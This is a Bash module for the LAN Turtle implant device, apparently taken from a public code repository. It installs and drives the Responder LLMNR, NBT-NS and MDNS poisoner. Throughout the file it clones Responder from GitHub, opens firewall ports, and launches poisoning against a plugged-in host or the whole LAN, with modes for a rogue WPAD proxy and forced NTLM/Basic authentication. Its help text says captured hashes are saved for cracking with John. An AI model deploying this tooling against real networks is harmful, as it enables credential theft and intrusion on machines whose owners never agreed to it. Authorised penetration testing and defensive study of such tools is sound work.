410 lines
13 KiB
Bash
410 lines
13 KiB
Bash
#!/bin/bash /usr/lib/turtle/turtle_module
|
|
|
|
# responder by IMcPwn
|
|
# http://imcpwn.com
|
|
|
|
VERSION="2.4"
|
|
DESCRIPTION="Responder - LLMNR, NBT-NS and MDNS poisoner"
|
|
CONF=/tmp/responder.form
|
|
AUTHOR=IMcPwn
|
|
|
|
: ${DIALOG_OK=0}
|
|
: ${DIALOG_CANCEL=1}
|
|
: ${DIALOG_HELP=2}
|
|
: ${DIALOG_EXTRA=3}
|
|
: ${DIALOG_ESC=255}
|
|
|
|
function start {
|
|
if [ -s /etc/config/responder ];
|
|
then
|
|
responder_interface=$(uci get responder.interface)
|
|
responder_log=$(uci get responder.log)
|
|
responder_mode=$(uci get responder.mode)
|
|
|
|
if [[ $responder_interface == "" ]];
|
|
then
|
|
echo "Responder interface not configured."
|
|
exit 1
|
|
fi
|
|
|
|
if [[ $responder_log == "" ]];
|
|
then
|
|
echo "Responder log location not configured."
|
|
exit 1
|
|
fi
|
|
|
|
if [[ $responder_mode == "" ]];
|
|
then
|
|
echo "Responder mode not configured."
|
|
exit 1
|
|
fi
|
|
|
|
if [[ ! $(opkg list-installed | grep git) ]];
|
|
then
|
|
echo "Dependency git not installed. Installing..."
|
|
check_internet
|
|
opkg update > /dev/null && opkg install git
|
|
fi
|
|
|
|
if [[ ! $(opkg list-installed | grep python-sqlite3) ]];
|
|
then
|
|
echo "Dependency python-sqlite3 not installed. Installing..."
|
|
check_internet
|
|
opkg update > /dev/null && opkg install python-sqlite3
|
|
fi
|
|
|
|
if [[ ! -d /etc/turtle/Responder || ! -s /etc/turtle/Responder/Responder.py || ! -s /etc/turtle/Responder/Responder.conf ]];
|
|
then
|
|
echo "Required Responder files not found. Downloading..."
|
|
check_internet
|
|
rm -rf /etc/turtle/Responder
|
|
git clone git://github.com/SpiderLabs/Responder /etc/turtle/Responder -q
|
|
fi
|
|
|
|
case $responder_mode in
|
|
1) mode="";;
|
|
2) mode="-A";;
|
|
3) mode="-w";;
|
|
4) mode="-r";;
|
|
5) mode="-F";;
|
|
6) mode="-f";;
|
|
7) mode="-v";;
|
|
8) mode="-r -F";;
|
|
9) mode="-r -F -f";;
|
|
*)
|
|
echo "Responder configuration not valid."
|
|
echo "Please re-configure then try again."
|
|
rm -f /etc/config/responder
|
|
exit 1
|
|
;;
|
|
esac
|
|
|
|
case $responder_log in
|
|
sshfs)
|
|
if pgrep sshfs > /dev/null;
|
|
then
|
|
if [[ $responder_interface == "eth1" ]];
|
|
then
|
|
iptables -t filter -I INPUT 1 -i eth1 -j ACCEPT
|
|
iptables -I INPUT 1 -i eth1 -p udp --dport 53 -j ACCEPT
|
|
iptables -I INPUT 1 -i eth1 -p udp --dport 137 -j ACCEPT
|
|
iptables -I INPUT 1 -i eth1 -p udp --dport 138 -j ACCEPT
|
|
iptables -I INPUT 1 -i eth1 -p udp --dport 389 -j ACCEPT
|
|
iptables -I INPUT 1 -i eth1 -p udp --dport 5553 -j ACCEPT
|
|
iptables -I INPUT 1 -i eth1 -p tcp --dport 21 -j ACCEPT
|
|
iptables -I INPUT 1 -i eth1 -p tcp --dport 25 -j ACCEPT
|
|
iptables -I INPUT 1 -i eth1 -p tcp --dport 80 -j ACCEPT
|
|
iptables -I INPUT 1 -i eth1 -p tcp --dport 110 -j ACCEPT
|
|
iptables -I INPUT 1 -i eth1 -p tcp --dport 139 -j ACCEPT
|
|
iptables -I INPUT 1 -i eth1 -p tcp --dport 389 -j ACCEPT
|
|
iptables -I INPUT 1 -i eth1 -p tcp --dport 445 -j ACCEPT
|
|
iptables -I INPUT 1 -i eth1 -p tcp --dport 1433 -j ACCEPT
|
|
iptables -I INPUT 1 -i eth1 -p tcp --dport 3141 -j ACCEPT
|
|
fi
|
|
|
|
if [ -s /etc/turtle/Responder/Responder.db ];
|
|
then
|
|
rm -f /etc/turtle/Responder/Responder.db
|
|
fi
|
|
|
|
if [[ $(readlink /etc/turtle/Responder/logs) != "/sshfs/Responder/logs" || ! -d /sshfs/Responder/logs ]];
|
|
then
|
|
rm -rf /etc/turtle/Responder/logs
|
|
mkdir -p /sshfs/Responder/logs
|
|
ln -s /sshfs/Responder/logs /etc/turtle/Responder/logs
|
|
fi
|
|
|
|
echo "python /etc/turtle/Responder/Responder.py $mode -I $responder_interface" | at now
|
|
echo -e "Responder started in mode $responder_mode against interface $responder_interface\nand logs are being saved to /sshfs/Responder"
|
|
echo "Logs can be viewed at Configure > log > View log"
|
|
else
|
|
echo "SSHFS not running"
|
|
exit 1
|
|
fi
|
|
;;
|
|
tmp)
|
|
if [[ $responder_interface == "eth1" ]];
|
|
then
|
|
iptables -t filter -I INPUT 1 -i eth1 -j ACCEPT
|
|
iptables -I INPUT 1 -i eth1 -p udp --dport 53 -j ACCEPT
|
|
iptables -I INPUT 1 -i eth1 -p udp --dport 137 -j ACCEPT
|
|
iptables -I INPUT 1 -i eth1 -p udp --dport 138 -j ACCEPT
|
|
iptables -I INPUT 1 -i eth1 -p udp --dport 389 -j ACCEPT
|
|
iptables -I INPUT 1 -i eth1 -p udp --dport 5553 -j ACCEPT
|
|
iptables -I INPUT 1 -i eth1 -p tcp --dport 21 -j ACCEPT
|
|
iptables -I INPUT 1 -i eth1 -p tcp --dport 25 -j ACCEPT
|
|
iptables -I INPUT 1 -i eth1 -p tcp --dport 80 -j ACCEPT
|
|
iptables -I INPUT 1 -i eth1 -p tcp --dport 110 -j ACCEPT
|
|
iptables -I INPUT 1 -i eth1 -p tcp --dport 139 -j ACCEPT
|
|
iptables -I INPUT 1 -i eth1 -p tcp --dport 389 -j ACCEPT
|
|
iptables -I INPUT 1 -i eth1 -p tcp --dport 445 -j ACCEPT
|
|
iptables -I INPUT 1 -i eth1 -p tcp --dport 1433 -j ACCEPT
|
|
iptables -I INPUT 1 -i eth1 -p tcp --dport 3141 -j ACCEPT
|
|
fi
|
|
|
|
if [ -s /etc/turtle/Responder/Responder.db ];
|
|
then
|
|
rm -f /etc/turtle/Responder/Responder.db
|
|
fi
|
|
|
|
if [[ $(readlink /etc/turtle/Responder/logs) != "/tmp/Responder/logs" || ! -d /tmp/Responder/logs ]]; then
|
|
rm -rf /etc/turtle/Responder/logs
|
|
mkdir -p /tmp/Responder/logs
|
|
ln -s /tmp/Responder/logs /etc/turtle/Responder/logs
|
|
fi
|
|
|
|
echo "python /etc/turtle/Responder/Responder.py $mode -I $responder_interface &" | at now
|
|
echo -e "Responder started in mode $responder_mode against interface $responder_interface\nand logs are being saved to /tmp/Responder"
|
|
echo "Responder started with pid"
|
|
pgrep -f Responder.py
|
|
;;
|
|
*)
|
|
echo "Responder configuration not valid."
|
|
echo "Please re-configure then try again."
|
|
rm -f /etc/config/responder
|
|
exit 1
|
|
;;
|
|
esac
|
|
else
|
|
echo "Responder not configured."
|
|
exit 1
|
|
fi
|
|
}
|
|
|
|
function stop {
|
|
responder_interface=$(uci get responder.interface)
|
|
if [[ $responder_interface == "eth1" ]];
|
|
then
|
|
#iptables -t filter -I INPUT 1 -i eth1 -j ACCEPT
|
|
iptables -t filter -D INPUT -i eth1 -j ACCEPT
|
|
iptables -D INPUT -i eth1 -p udp --dport 53 -j ACCEPT
|
|
iptables -D INPUT -i eth1 -p udp --dport 137 -j ACCEPT
|
|
iptables -D INPUT -i eth1 -p udp --dport 138 -j ACCEPT
|
|
iptables -D INPUT -i eth1 -p udp --dport 389 -j ACCEPT
|
|
iptables -D INPUT -i eth1 -p udp --dport 5553 -j ACCEPT
|
|
iptables -D INPUT -i eth1 -p tcp --dport 21 -j ACCEPT
|
|
iptables -D INPUT -i eth1 -p tcp --dport 25 -j ACCEPT
|
|
iptables -D INPUT -i eth1 -p tcp --dport 80 -j ACCEPT
|
|
iptables -D INPUT -i eth1 -p tcp --dport 110 -j ACCEPT
|
|
iptables -D INPUT -i eth1 -p tcp --dport 139 -j ACCEPT
|
|
iptables -D INPUT -i eth1 -p tcp --dport 389 -j ACCEPT
|
|
iptables -D INPUT -i eth1 -p tcp --dport 445 -j ACCEPT
|
|
iptables -D INPUT -i eth1 -p tcp --dport 1433 -j ACCEPT
|
|
iptables -D INPUT -i eth1 -p tcp --dport 3141 -j ACCEPT
|
|
fi
|
|
if pgrep -f Responder.py > /dev/null; then kill $(pgrep -f Responder.py); fi
|
|
echo "Responder stopped"
|
|
}
|
|
|
|
function status {
|
|
if ps | grep -w -q [/]etc/turtle/Responder/Responder.py; then echo "1"; else echo "0"; fi
|
|
}
|
|
|
|
function check_internet {
|
|
ping -q -w 5 -c 1 lanturtle.com &> /dev/null && {
|
|
:
|
|
} || {
|
|
echo -e "\nThe LAN Turtle is currently offline. The previous\noperation requires an internet connection."
|
|
exit 1
|
|
}
|
|
}
|
|
|
|
function log {
|
|
dialog --ok-label "Submit" \
|
|
--title "Responder Log Configuration" \
|
|
--extra-button \
|
|
--extra-label "View log" \
|
|
--help-button \
|
|
--radiolist "\n\
|
|
The log files can be saved to SSHFS or tmp.\n" 16 60 3\
|
|
1 "Save log to SSHFS if available." off\
|
|
2 "Save log to /tmp" off\
|
|
2>$CONF
|
|
return=$?
|
|
case $return in
|
|
$DIALOG_OK)
|
|
LOG=$(cat $CONF)
|
|
case $LOG in
|
|
1)
|
|
uci set responder.log="sshfs"
|
|
uci commit responder
|
|
;;
|
|
2)
|
|
uci set responder.log="tmp"
|
|
uci commit responder
|
|
;;
|
|
esac
|
|
configure;;
|
|
$DIALOG_CANCEL)
|
|
configure;;
|
|
$DIALOG_ESC)
|
|
configure;;
|
|
$DIALOG_EXTRA)
|
|
responder_log=$(uci get responder.log)
|
|
case $responder_log in
|
|
sshfs)
|
|
dialog --title "/sshfs/Responder/logs/Responder-Session.log" --clear --tailbox "/sshfs/Responder/logs/Responder-Session.log" 18 72
|
|
;;
|
|
tmp)
|
|
dialog --title "/tmp/Responder/logs/Responder-Session.log" --clear --tailbox "/tmp/Responder/logs/Responder-Session.log" 18 72
|
|
;;
|
|
*)
|
|
echo "Responder log location not configured."
|
|
;;
|
|
esac
|
|
log;;
|
|
$DIALOG_HELP)
|
|
dialog --title "Help" --msgbox "\n\
|
|
All activity will be logged to Responder-Session.log\n\
|
|
Analyze mode will be logged to Analyze-Session.log\n\
|
|
Poisoning will be logged to Poisoners-Session.log\n\n\
|
|
All hashes are dumped an unique file John Jumbo compliant, using this format:\n\
|
|
(MODULE_NAME)-(HASH_TYPE)-(CLIENT_IP).txt\n\n\
|
|
" 18 72
|
|
log
|
|
esac
|
|
}
|
|
|
|
function interface {
|
|
dialog --ok-label "Submit" \
|
|
--title "Responder Interface Configuration" \
|
|
--radiolist "\n\
|
|
Responder can target the Host machine (The computer the LAN Turtle is plugged in to) or the LAN (The network the LAN Turtle is connected to).\n" 16 60 3\
|
|
1 "Target just the Host machine (br-lan)." off\
|
|
2 "Target the entire LAN (eth1)." off\
|
|
2>$CONF
|
|
return=$?
|
|
case $return in
|
|
$DIALOG_OK)
|
|
INTERFACE=$(cat $CONF)
|
|
case $INTERFACE in
|
|
1)
|
|
uci set responder.interface="br-lan"
|
|
uci commit responder
|
|
;;
|
|
2)
|
|
uci set responder.interface="eth1"
|
|
uci commit responder
|
|
;;
|
|
esac
|
|
configure;;
|
|
$DIALOG_CANCEL)
|
|
configure;;
|
|
$DIALOG_ESC)
|
|
configure;;
|
|
esac
|
|
}
|
|
|
|
function mode {
|
|
dialog --ok-label "Submit" \
|
|
--title "Responder Mode" \
|
|
--help-button \
|
|
--radiolist "Choose mode\n \n" 20 60 10\
|
|
1 "Default mode" off\
|
|
2 "Analyze mode" off\
|
|
3 "Start WPAD rouge proxy server" off\
|
|
4 "Enable answers for netbios suffix queries" off\
|
|
5 "Force NTLM/Basic Authentication" off\
|
|
6 "Fingerprint hosts" off\
|
|
7 "Enable verbose" off\
|
|
8 "Options 4 and 5" off\
|
|
9 "Options 4, 5, and 6" off\
|
|
2>$CONF
|
|
return=$?
|
|
case $return in
|
|
$DIALOG_OK)
|
|
mode=$(cat $CONF)
|
|
case $mode in
|
|
1)
|
|
uci set responder.mode="1"
|
|
uci commit responder;;
|
|
2)
|
|
uci set responder.mode="2"
|
|
uci commit responder;;
|
|
3)
|
|
uci set responder.mode="3"
|
|
uci commit responder;;
|
|
4)
|
|
uci set responder.mode="4"
|
|
uci commit responder;;
|
|
5)
|
|
uci set responder.mode="5"
|
|
uci commit responder;;
|
|
6)
|
|
uci set responder.mode="6"
|
|
uci commit responder;;
|
|
7)
|
|
uci set responder.mode="7"
|
|
uci commit responder;;
|
|
8)
|
|
uci set responder.mode="8"
|
|
uci commit responder;;
|
|
9)
|
|
uci set responder.mode="9"
|
|
uci commit responder;;
|
|
esac
|
|
configure;;
|
|
$DIALOG_CANCEL)
|
|
configure;;
|
|
$DIALOG_ESC)
|
|
configure;;
|
|
$DIALOG_HELP)
|
|
dialog --title "Help" --msgbox "\n\
|
|
Responder is an LLMNR, NBT-NS and MDNS poisoner. It will answer to specific NBT-NS (NetBIOS Name Service) queries based on their name suffix (see: http://support.microsoft.com/kb/163409).\n\
|
|
By default, the tool will only answer to File Server Service request, which is for SMB.\n\n\
|
|
The concept behind this is to target our answers, and be stealthier on the network. This also helps to ensure that we don't break legitimate NBT-NS behavior.\n\n\
|
|
For more information, see: https://github.com/SpiderLabs/Responder\n\
|
|
" 18 72
|
|
mode
|
|
esac
|
|
}
|
|
|
|
function responderconf {
|
|
dialog \
|
|
--help-button \
|
|
--title "Editing: /etc/turtle/Responder/Responder.conf" \
|
|
--editbox /etc/turtle/Responder/Responder.conf 18 72\
|
|
2>$CONF
|
|
return=$?
|
|
case $return in
|
|
$DIALOG_OK)
|
|
cat $CONF | {
|
|
cat $CONF > /etc/turtle/Responder/Responder.conf
|
|
rm $CONF
|
|
configure
|
|
};;
|
|
$DIALOG_HELP)
|
|
dialog --title "Help" \
|
|
--msgbox "For information on this configuration, see: https://github.com/SpiderLabs/Responder" 20 60
|
|
responderconf;;
|
|
$DIALOG_CANCEL)
|
|
rm $CONF
|
|
configure;;
|
|
$DIALOG_ESC)
|
|
rm $CONF
|
|
configure;;
|
|
esac
|
|
}
|
|
|
|
function configure {
|
|
if [[ ! -s /etc/config/responder ]];
|
|
then
|
|
touch /etc/config/responder
|
|
fi
|
|
|
|
dialog --title "" --menu "" 15 60 5 \
|
|
"log" "Specify log location" \
|
|
"interface" "Specify interface to target" \
|
|
"mode" "Specify Responder mode" \
|
|
"responderconf" "Edit Responder.conf" \
|
|
"back" "Return to previous menu" 2> $CONF
|
|
result=$(cat $CONF && rm $CONF &>/dev/null)
|
|
case $result in
|
|
"log") log;;
|
|
"interface") interface;;
|
|
"mode") mode;;
|
|
"responderconf") responderconf;;
|
|
"back") exit;;
|
|
esac
|
|
}
|